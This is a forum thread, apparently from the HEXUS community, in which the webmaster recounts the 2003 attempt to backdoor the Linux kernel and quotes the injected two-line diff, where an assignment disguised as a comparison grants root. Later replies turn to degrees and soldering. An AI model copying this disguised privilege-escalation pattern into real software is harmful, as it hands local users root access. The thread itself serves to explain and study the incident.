![]() | ![]() |
|
Welcome to the HEXUS.community discussion forums forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and other features. By joining our free community you will have access to post topics, respond to polls and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! |
|
|||||||
| Steve Web-master, developer |
![]() |
|
|
LinkBack | Thread Tools |
|
|
#1 (permalink) |
|
HEXUS webmaster
Join Date: Nov 2003
Location: Bristol
Posts: 11,291
Thanks: 16
Thanked 87 Times in 54 Posts
|
Hacks to be honest
I love a good hacker story; real ones that is.
I recently came across a story of an attempt to inject code into the Linux kernel that would give any local user root access on demand. I probably came across the news at the time of the discovery, but was then too uneducated to understand it. Still, now I find it's a very interesting story and highlights just how easy it is to mislead people. Back in Nov 2003 somebody noticed somebody had directly modified a CVS tree used in Linux development. At first it seemed like a silly user, or somebody who wasn't doing things properly. However, follow the aforelinked mailing list replies and you'll see what was changed by the direct modification: Code:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; The second line of code is pointless, but the one before it is potentially very problematic. The first half of the if statement checks for two flags. With the gcc compiler, this half of the if will be evaluated first (I do believe it's not a strict rule in C, however, and some compilers may do it differently?). If it's true, then the second half (after the &&) will be evaluated too. First up, the two flags would never logically be set simultaneously (so I've read in the mailing list and other articles on this matter), but somebody could make them so, thus making the second half of the if statement evaluate. The only problem is the second half of the statement isn't an evaluation, it's an assignment. "current->uid = 0" doesn't check the user id, it sets it. Bang, bit of root access for you, right there. == and =, there's a big difference. Luckily the direct modification was noticed, and the intent of the injected code very quickly discovered, but had the edit been noticed, how long would it have been before it was found? Hopefully some of you find stuff like this interesting too. Half of my degree is Computer Science, so I find it interesting by default I guess. Still, thought it was worth sharing ![]() |
|
|
|
|
|
|
#2 (permalink) |
|
Network|Geek
Join Date: Jul 2005
Location: Aberdeenshire
Posts: 1,376
Thanks: 27
Thanked 16 Times in 15 Posts
|
I don't really understand a word of it, but its an interesting read
![]() You say half your degree is Comp Sci, whats the other half? |
|
"If you're not on the edge, you're taking up too much room!"
- me, 2005 |
|
|
|
|
#4 (permalink) |
|
Decomposing...
Join Date: Nov 2006
Location: Northampton
Posts: 841
Thanks: 47
Thanked 18 Times in 17 Posts
|
But do you know which end of a soldering iron gets hot ?
![]() I had a degree engineer working for me in Saudi in 1980, and the daft budder burned himself cuz he didnt know !!! Honestly !!! |
|
Cheers, David Harris
http://www.g8ina.enta.net & http://www.harrisphotography.co.uk Only those who take leisurely what the people of the world are busy about can be busy about what the people of the world take leisurely. (Ch'ang Chao) |
|
|
|
|
#5 (permalink) |
|
HEXUS webmaster
Join Date: Nov 2003
Location: Bristol
Posts: 11,291
Thanks: 16
Thanked 87 Times in 54 Posts
|
I can just about remember, although I haven't warmed one up for over a year now... gotta love breadboard!
That said, my solder skills are OK... not great, but a lot better than some I've seen. |
|
|
|
|
|
|
#6 (permalink) |
|
Network|Geek
Join Date: Jul 2005
Location: Aberdeenshire
Posts: 1,376
Thanks: 27
Thanked 16 Times in 15 Posts
|
Oooh, solder...not one of my strong points, I dont like Lead-free solder, although I did get better over my first semester.
Made a PSU and I fixed my floppy drive, thats all the soldering i've done except for a wee radio about 4 years ago! Computer Systems Engineering, sounds rather cool ![]() |
|
"If you're not on the edge, you're taking up too much room!"
- me, 2005 |
|
|
|
|
#7 (permalink) |
|
Decomposing...
Join Date: Nov 2006
Location: Northampton
Posts: 841
Thanks: 47
Thanked 18 Times in 17 Posts
|
I soldered my first joint (in a crystal set) at age 8, in 1963/4
![]() I have electrons in my veins and arteries, not blood ! |
|
Cheers, David Harris
http://www.g8ina.enta.net & http://www.harrisphotography.co.uk Only those who take leisurely what the people of the world are busy about can be busy about what the people of the world take leisurely. (Ch'ang Chao) |
|
|
![]() |
| Breadcrumb | ||||||
|
||||||
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Selling hacks on ebay | AlCapacino | HEXUS.gaming | 22 | 16-11-2006 05:51 PM |
| O'Reilly's Flickr Hacks book | Bob Crabtree | Lifestyle News | 4 | 21-04-2006 03:52 PM |
| O'Reilly's Flickr Hacks book | Bob Crabtree | Photography and Graphic Design | 0 | 21-04-2006 02:53 PM |
| Freeipoduk.com = a honest review | tim_n | Reader reviews | 28 | 20-02-2006 08:27 AM |
| Top 10 PSP Hacks | Steve | Gaming News | 0 | 27-07-2005 05:04 PM |